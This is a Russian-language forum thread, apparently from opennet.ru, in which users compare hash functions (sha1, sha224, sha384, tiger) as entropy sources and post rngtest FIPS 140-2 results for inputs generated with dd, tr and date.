"RNG генерит случайные числа на основе данных из пула энтропии(entropy pool) в ядре Linux. Наполнением этого пула так же занимается RNG и делается это на основе случайных событий в системе таких как: тайминги клавиатуры и дисков, движения мыши, прерывания(interrupts), сетевой трафик.
"
Поэтому ваш эксперимент нужно проводить не единоразово, а прогонять один и тот же тест по кругу в течении недели...и усреднить значения.
сообщить модератору +/– ответить

Естественно, что для тестирования контрольных сум был выбран один источник энтро, Аноним (13), 17:38 , 15-Мрт-23 (13)
> Вероятно все дело в том, что все ваши тесты - тестировали по сути один источник,
Естественно, что для тестирования контрольных сум был выбран один источник энтропии:
https://www.opennet.ru/openforum/vsluhforumID10/5638.html#2
> который зависит от вашей активности за компом...
Нет.
> SHA1 не берет данные из воздуха... он берет их все из того
> же источника что и все остальные.
Нет. Для теста энтропии из контрольных сум брался отдельный источник энтропии.
> "RNG генерит случайные числа на основе данных из пула энтропии(entropy pool) в ядре Linux. Наполнением этого пула так же занимается RNG и делается это на основе случайных событий в системе таких как: тайминги клавиатуры и дисков, движения мыши, прерывания(interrupts), сетевой трафик.
Всё это влияет на первые тесты стандартных источников энтропии в системе. Их тоже привёл для сравнения результатов.
> Поэтому ваш эксперимент нужно проводить не единоразово, а прогонять один и тот же тест по кругу в течении недели...и усреднить значения.
Вот выше предложил прогнать тест:
```
bash entropy-time-hash sha224 |rngtest -c 1000000
bash entropy-time-hash sha384 |rngtest -c 1000000
```
получить точную цифру после 9 и разъяснить всем почему энтропия от sha384 хуже чем от sha224.Это же две контрольные сумы одного стандарта SHA2 !
сообщить модератору +/– ответить

Статистическое исследование зависимости энтропии из контрольных сум от входных д,

Аноним (17), 18:07 , 10-Апр-23 (17)

Статистическое исследование зависимости энтропии из контрольных сум от входных данных.

Первый тест в этой теме получен из входных данных следующего типа:


original (Pseudo entropy file: "ASCII text, with very long lines" ~75K)
Like:
dd if=/dev/urandom status=none |tr -dc 0-9A-Za-z_+\-:\.,\ /\[\]\<\>\(\)\#\\n |dd bs=1b count=150 status=none

Контрольные сумы с подозрительными результатами sha1, sha224, sha384 и tiger перепроверил с разными входящими данными.
В статистическом исследовании проводилось всего 10 000 тестов, чего явно недостаточно чтобы дать точную цифру после трёх девяток!
Отмечаем, что sha384 победил со следующими входными данными:
1. date +%-N%s
2. date +%-N%s |b2sum |sed 's/[ -]//g'
4. dd if=/dev/urandom status=none |tr -dc 0-9 |dd bs=1b count=3 status=none
5. dd if=/dev/urandom status=none |tr -dc 0-9a-f |dd bs=1172c count=1 status=none
И опять проиграл в тесте с входными данными:
3. dd if=/dev/urandom status=none |tr -dc 0-9A-Za-z_+\-:\.,\ /\[\]\<\>\#\\n |dd bs=1b count=200 status=none
в котором sha1 и tiger опять удержали два первых места, причём tiger подтвердил лучший результат.

То что сума ошибок в тестах больше "failures" означает что ошибки случились в одном и томже тестируемом блоке.
Такие результаты tiger в 4 тесте возможно из-за временной большой нагрузки на комп, load average: ~20


date +%-N%ssha1
rngtest: FIPS 140-2 successes: 9989
rngtest: FIPS 140-2 failures: 11
rngtest: FIPS 140-2(2001-10-10) Monobit: 2
rngtest: FIPS 140-2(2001-10-10) Poker: 1
rngtest: FIPS 140-2(2001-10-10) Runs: 5
rngtest: FIPS 140-2(2001-10-10) Long run: 3
rngtest: FIPS 140-2(2001-10-10) Continuous run: 0

sha224
rngtest: FIPS 140-2 successes: 9992
rngtest: FIPS 140-2 failures: 8
rngtest: FIPS 140-2(2001-10-10) Monobit: 2
rngtest: FIPS 140-2(2001-10-10) Poker: 1
rngtest: FIPS 140-2(2001-10-10) Runs: 3
rngtest: FIPS 140-2(2001-10-10) Long run: 2
rngtest: FIPS 140-2(2001-10-10) Continuous run: 0

sha384
rngtest: FIPS 140-2 successes: 9992
rngtest: FIPS 140-2 failures: 8
rngtest: FIPS 140-2(2001-10-10) Monobit: 3
rngtest: FIPS 140-2(2001-10-10) Poker: 1
rngtest: FIPS 140-2(2001-10-10) Runs: 1
rngtest: FIPS 140-2(2001-10-10) Long run: 3
rngtest: FIPS 140-2(2001-10-10) Continuous run: 0

tiger
rngtest: FIPS 140-2 successes: 9991
rngtest: FIPS 140-2 failures: 9
rngtest: FIPS 140-2(2001-10-10) Monobit: 1
rngtest: FIPS 140-2(2001-10-10) Poker: 2
rngtest: FIPS 140-2(2001-10-10) Runs: 4
rngtest: FIPS 140-2(2001-10-10) Long run: 2
rngtest: FIPS 140-2(2001-10-10) Continuous run: 0


date +%-N%s |b2sum |sed 's/[ -]//g'sha1
rngtest: FIPS 140-2 successes: 9990
rngtest: FIPS 140-2 failures: 10
rngtest: FIPS 140-2(2001-10-10) Monobit: 1
rngtest: FIPS 140-2(2001-10-10) Poker: 0
rngtest: FIPS 140-2(2001-10-10) Runs: 5
rngtest: FIPS 140-2(2001-10-10) Long run: 4
rngtest: FIPS 140-2(2001-10-10) Continuous run: 0

sha224
rngtest: FIPS 140-2 successes: 9993
rngtest: FIPS 140-2 failures: 7
rngtest: FIPS 140-2(2001-10-10) Monobit: 2
rngtest: FIPS 140-2(2001-10-10) Poker: 2
rngtest: FIPS 140-2(2001-10-10) Runs: 2
rngtest: FIPS 140-2(2001-10-10) Long run: 1
rngtest: FIPS 140-2(2001-10-10) Continuous run: 0

sha384
rngtest: FIPS 140-2 successes: 9994
rngtest: FIPS 140-2 failures: 6
rngtest: FIPS 140-2(2001-10-10) Monobit: 0
rngtest: FIPS 140-2(2001-10-10) Poker: 0
rngtest: FIPS 140-2(2001-10-10) Runs: 4
rngtest: FIPS 140-2(2001-10-10) Long run: 2
rngtest: FIPS 140-2(2001-10-10) Continuous run: 0

tiger
rngtest: FIPS 140-2 successes: 9994
rngtest: FIPS 140-2 failures: 6
rngtest: FIPS 140-2(2001-10-10) Monobit: 1
rngtest: FIPS 140-2(2001-10-10) Poker: 1
rngtest: FIPS 140-2(2001-10-10) Runs: 2
rngtest: FIPS 140-2(2001-10-10) Long run: 2
rngtest: FIPS 140-2(2001-10-10) Continuous run: 0


original (Pseudo entropy file: "ASCII text, with very long lines" ~100K)
Like:
dd if=/dev/urandom status=none |tr -dc 0-9A-Za-z_+\-:\.,\ /\[\]\<\>\(\)\#\\n |dd bs=1b count=200 status=nonesha1
rngtest: FIPS 140-2 successes: 9994
rngtest: FIPS 140-2 failures: 6
rngtest: FIPS 140-2(2001-10-10) Monobit: 0
rngtest: FIPS 140-2(2001-10-10) Poker: 0
rngtest: FIPS 140-2(2001-10-10) Runs: 3
rngtest: FIPS 140-2(2001-10-10) Long run: 3
rngtest: FIPS 140-2(2001-10-10) Continuous run: 0

sha-224
rngtest: FIPS 140-2 successes: 9993
rngtest: FIPS 140-2 failures: 7
rngtest: FIPS 140-2(2001-10-10) Monobit: 1
rngtest: FIPS 140-2(2001-10-10) Poker: 0
rngtest: FIPS 140-2(2001-10-10) Runs: 2
rngtest: FIPS 140-2(2001-10-10) Long run: 4
rngtest: FIPS 140-2(2001-10-10) Continuous run: 0

sha-384
rngtest: FIPS 140-2 successes: 9991
rngtest: FIPS 140-2 failures: 9
rngtest: FIPS 140-2(2001-10-10) Monobit: 1
rngtest: FIPS 140-2(2001-10-10) Poker: 1
rngtest: FIPS 140-2(2001-10-10) Runs: 4
rngtest: FIPS 140-2(2001-10-10) Long run: 3
rngtest: FIPS 140-2(2001-10-10) Continuous run: 0

tiger
rngtest: FIPS 140-2 successes: 9997
rngtest: FIPS 140-2 failures: 3
rngtest: FIPS 140-2(2001-10-10) Monobit: 0
rngtest: FIPS 140-2(2001-10-10) Poker: 0
rngtest: FIPS 140-2(2001-10-10) Runs: 1
rngtest: FIPS 140-2(2001-10-10) Long run: 2
rngtest: FIPS 140-2(2001-10-10) Continuous run: 0


integer (Pseudo entropy integer: >1500 digits)
Like:
dd if=/dev/urandom status=none |tr -dc 0-9 |dd bs=1b count=3 status=nonesha1
rngtest: FIPS 140-2 successes: 9989
rngtest: FIPS 140-2 failures: 11
rngtest: FIPS 140-2(2001-10-10) Monobit: 1
rngtest: FIPS 140-2(2001-10-10) Poker: 1
rngtest: FIPS 140-2(2001-10-10) Runs: 4
rngtest: FIPS 140-2(2001-10-10) Long run: 5
rngtest: FIPS 140-2(2001-10-10) Continuous run: 0

sha-224
rngtest: FIPS 140-2 successes: 9988
rngtest: FIPS 140-2 failures: 12
rngtest: FIPS 140-2(2001-10-10) Monobit: 3
rngtest: FIPS 140-2(2001-10-10) Poker: 2
rngtest: FIPS 140-2(2001-10-10) Runs: 5
rngtest: FIPS 140-2(2001-10-10) Long run: 2
rngtest: FIPS 140-2(2001-10-10) Continuous run: 0

sha-384
rngtest: FIPS 140-2 successes: 9995
rngtest: FIPS 140-2 failures: 5
rngtest: FIPS 140-2(2001-10-10) Monobit: 1
rngtest: FIPS 140-2(2001-10-10) Poker: 0
rngtest: FIPS 140-2(2001-10-10) Runs: 3
rngtest: FIPS 140-2(2001-10-10) Long run: 1
rngtest: FIPS 140-2(2001-10-10) Continuous run: 0

tiger
rngtest: FIPS 140-2 successes: 9988
rngtest: FIPS 140-2 failures: 12
rngtest: FIPS 140-2(2001-10-10) Monobit: 2
rngtest: FIPS 140-2(2001-10-10) Poker: 1
rngtest: FIPS 140-2(2001-10-10) Runs: 6
rngtest: FIPS 140-2(2001-10-10) Long run: 6
rngtest: FIPS 140-2(2001-10-10) Continuous run: 1


hashed (Pseudo entropy hexadecimal: <=1172 symbols)
Like:
dd if=/dev/urandom status=none |tr -dc 0-9a-f |dd bs=1172c count=1 status=nonesha1
rngtest: FIPS 140-2 successes: 9990
rngtest: FIPS 140-2 failures: 10
rngtest: FIPS 140-2(2001-10-10) Monobit: 1
rngtest: FIPS 140-2(2001-10-10) Poker: 0
rngtest: FIPS 140-2(2001-10-10) Runs: 3
rngtest: FIPS 140-2(2001-10-10) Long run: 6
rngtest: FIPS 140-2(2001-10-10) Continuous run: 0

sha-224
rngtest: FIPS 140-2 successes: 9991
rngtest: FIPS 140-2 failures: 9
rngtest: FIPS 140-2(2001-10-10) Monobit: 3
rngtest: FIPS 140-2(2001-10-10) Poker: 1
rngtest: FIPS 140-2(2001-10-10) Runs: 2
rngtest: FIPS 140-2(2001-10-10) Long run: 4
rngtest: FIPS 140-2(2001-10-10) Continuous run: 0

sha-384
rngtest: FIPS 140-2 successes: 9995
rngtest: FIPS 140-2 failures: 5
rngtest: FIPS 140-2(2001-10-10) Monobit: 0
rngtest: FIPS 140-2(2001-10-10) Poker: 0
rngtest: FIPS 140-2(2001-10-10) Runs: 2
rngtest: FIPS 140-2(2001-10-10) Long run: 3
rngtest: FIPS 140-2(2001-10-10) Continuous run: 0

tiger
rngtest: FIPS 140-2 successes: 9989
rngtest: FIPS 140-2 failures: 11
rngtest: FIPS 140-2(2001-10-10) Monobit: 1
rngtest: FIPS 140-2(2001-10-10) Poker: 1
rngtest: FIPS 140-2(2001-10-10) Runs: 6
rngtest: FIPS 140-2(2001-10-10) Long run: 3
rngtest: FIPS 140-2(2001-10-10) Continuous run: 0

сообщить модератору +/–

ответить

Во время этого теста жестко ребутился комп и в файл с энтропией записалась после, Аноним (18), 15:10 , 13-Апр-23 (18)
> 4. dd if=/dev/urandom status=none |tr -dc 0-9 |dd bs=1b count=3 status=none
> Такие результаты tiger в 4 тесте возможно из-за временной большой нагрузки на комп, load average: ~20
Во время этого теста жестко ребутился комп и в файл с энтропией записалась последовательность "нулей": ^@^@^@^@^@^... которая испортила два блока. Без испорченых блоков результат теста для tiger:
4.
```
 
integer (Pseudo entropy integer: >1500 digits) 
Like: 
dd if=/dev/urandom status=none |tr -dc 0-9 |dd bs=1b count=3 status=none tiger 
rngtest: FIPS 140-2 successes: 9990 
rngtest: FIPS 140-2 failures: 10 
rngtest: FIPS 140-2(2001-10-10) Monobit: 1 
rngtest: FIPS 140-2(2001-10-10) Poker: 0 
rngtest: FIPS 140-2(2001-10-10) Runs: 5 
rngtest: FIPS 140-2(2001-10-10) Long run: 4 
rngtest: FIPS 140-2(2001-10-10) Continuous run: 0 
```
сообщить модератору +/– ответить


Пометить прочитанным Создать тему	1 \| 2 \| 3 \| 4 \| 5 \| 6 \| 7 \| 8 \| 9 \| 10 \| Архив \| Избранное \| Мое \| Новое \| ☳ \| ☶ \| ⚟